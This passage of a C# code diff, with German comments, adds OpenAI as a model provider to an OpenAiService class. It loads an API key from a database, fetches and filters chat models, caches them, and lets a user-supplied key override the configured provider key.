_openaiModels = cache.ContainsKey("openai") ? cache["openai"] : new List<ProviderModel>();
Console.WriteLine($"[OpenAiService] Modelle aus Cache geladen: {_nvidiaModels.Count} Nvidia, {_pollinationsModels.Count} Pollinations, {_geminiModels.Count} Gemini, {_openaiModels.Count} OpenAI");
return;
}
}
@@ -211,6 +215,21 @@ public class OpenAiService
else
Console.WriteLine("[OpenAiService] GeminiApiKey nicht konfiguriert – Gemini-Modelle nicht geladen.");
// OpenAI: Key aus DB holen (erster aktiver OpenAI-Key)
var openaiKey = await _db.GetFirstActiveKeyByProvider("openai");
if (!string.IsNullOrEmpty(openaiKey))
{
var allOpenAi = await FetchModels("https://api.openai.com/v1/models", "OpenAI", openaiKey);
// Nur Chat-Modelle filtern (gpt-*, o1-*, o3-*, o4-*, chatgpt-*)
_openaiModels = allOpenAi
.Where(m => m.Id.StartsWith("gpt-") || m.Id.StartsWith("o1-") || m.Id.StartsWith("o3-") || m.Id.StartsWith("o4-") || m.Id.StartsWith("chatgpt-"))
.OrderBy(m => m.Id)
.ToList();
Console.WriteLine($"[OpenAiService] {_openaiModels.Count} OpenAI Chat-Modelle gefiltert (von {allOpenAi.Count} total).");
}
else
Console.WriteLine("[OpenAiService] Kein aktiver OpenAI API-Key in DB – OpenAI-Modelle nicht geladen.");
// Cache speichern
try
{
@@ -218,7 +237,8 @@ public class OpenAiService
{
["nvidia"] = _nvidiaModels,
["pollinations"] = _pollinationsModels,
["gemini"] = _geminiModels
["gemini"] = _geminiModels,
["openai"] = _openaiModels
};
var json = JsonSerializer.Serialize(cache, new JsonSerializerOptions { WriteIndented = true });
await File.WriteAllTextAsync(_cacheFile, json);
@@ -276,6 +296,7 @@ public class OpenAiService
public List<ProviderModel> GetNvidiaModels() => _nvidiaModels;
public List<ProviderModel> GetPollinationsModels() => _pollinationsModels;
public List<ProviderModel> GetGeminiModels() => _geminiModels;
public List<ProviderModel> GetOpenAiModels() => _openaiModels;
/// <summary>
/// Gibt den Provider und das eigentliche Modell-ID aus einem kombinierten Model-String zurück.
@@ -308,6 +329,7 @@ public class OpenAiService
string sessionId = null,
string agentId = null,
int maxIterations = 10,
string apiKeyOverride = null,
CancellationToken workCt = default,
CancellationToken sseCt = default)
{
@@ -337,6 +359,10 @@ public class OpenAiService
return;
}
// API-Key Override: User-Key aus DB hat Vorrang vor hardcoded Provider-Key
if (!string.IsNullOrEmpty(apiKeyOverride))
providerConfig = (providerConfig.BaseUrl, apiKeyOverride);
try
{
// OpenAI-kompatibles Messages-Format aufbauen